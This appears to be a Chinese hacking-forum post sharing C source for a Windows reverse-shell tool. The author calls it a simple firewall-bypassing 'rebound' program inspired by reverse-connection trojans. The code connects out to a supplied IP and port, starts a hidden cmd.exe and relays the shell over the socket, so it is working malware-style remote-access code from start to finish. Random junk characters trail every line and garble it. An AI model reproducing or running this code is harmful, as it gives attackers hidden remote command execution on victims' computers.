这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,"79P/C
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/* ============================== S`Rs82>
Rebound port in Windows NT [=`q>|;pOv
By wind,2006/7 5Jnlz@P9
===============================*/ E&:,oG2M
#include <ZR9GlIr
#include \z}
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#pragma comment(lib,"wsock32.lib") q-d:TMkc
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void OutputShell(); +[g,B1jt
SOCKET sClient; sW8dPw
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "tpSg
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void main(int argc,char **argv) T^]}Oy@e,J
{ Nmh*EAJSy
WSADATA stWsaData; B4 }bVjs
int nRet; hehFEyx
SOCKADDR_IN stSaiClient,stSaiServer; vs{s_T7Mz]
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if(argc != 3) lU8Hd|@-
{ K!l5coM
printf("Useage:\n\rRebound DestIP DestPort\n"); K\c#ig
return; BTrn0
} ,UE83j8D^
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WSAStartup(MAKEWORD(2,2),&stWsaData); uWE^hz"
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8, >P
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stSaiClient.sin_family = AF_INET; &b& ,
stSaiClient.sin_port = htons(0); E8&TO~"a]e
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); y4fdq7i~}9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 0_t!T'jr7
{ Jxm.cC5z.
printf("Bind Socket Failed!\n"); NQ2E
return; D.XvG _
} FzC'G57Kl
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stSaiServer.sin_family = AF_INET; KKf
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); P7/X|M z
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FaJ &GOM,
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E-g_".agO
{ `*KHSA
printf("Connect Error!"); jRV/A!4
return; v|2T%y_
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} iAU@Yg`pt
OutputShell(); =w0R$&b&
} :*\P n!r
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void OutputShell() 45>?o
{ !g2+w$YVa
char szBuff[1024]; sD wqH.L
SECURITY_ATTRIBUTES stSecurityAttributes; 2jhxQL
OSVERSIONINFO stOsversionInfo; 1|wL\I
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; f&
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STARTUPINFO stStartupInfo; N] sAji*
char *szShell; I,8Er2;)
PROCESS_INFORMATION stProcessInformation; HyWCMK6b
unsigned long lBytesRead; ?6Y?a2 |
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); a:6m7U)P#5
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M =r)I~
stSecurityAttributes.lpSecurityDescriptor = 0; 5XBH$&Td
stSecurityAttributes.bInheritHandle = TRUE; Ph>%7M%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JaGtsi9%.
}`~+]9<
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; XOS[No~
stStartupInfo.wShowWindow = SW_HIDE; LFtt gY
stStartupInfo.hStdInput = hReadPipe; %bfQ$a:
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <UQbt N-B\
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GetVersionEx(&stOsversionInfo); Dm<A
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switch(stOsversionInfo.dwPlatformId) n7-6-
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{ <e</m)j
case 1: y
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szShell = "command.com"; {{p7 3
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break; X}\:_/
default: 3/n5#&c\4
szShell = "cmd.exe"; Jz e:[MYS
break; JFk
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} "LTad`]<Ro
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Y/zj[>
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send(sClient,szMsg,77,0); (JFWna0@
while(1) t{vJM!kdlQ
{ yaH
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YcpoL@ab
if(lBytesRead) rh}J3S5vp
{ .OY`Z)SS%
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); @6T/Tdz
send(sClient,szBuff,lBytesRead,0); g7W"
} |8tilOqI
else V33T+P~j
{ FQ5U$x.[P
lBytesRead=recv(sClient,szBuff,1024,0); wDe& 1(T^
if(lBytesRead<=0) break; z ~/` 1
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); f=K]XTw~
} v
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} ;@|n @ax
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return; SKsKPqz
}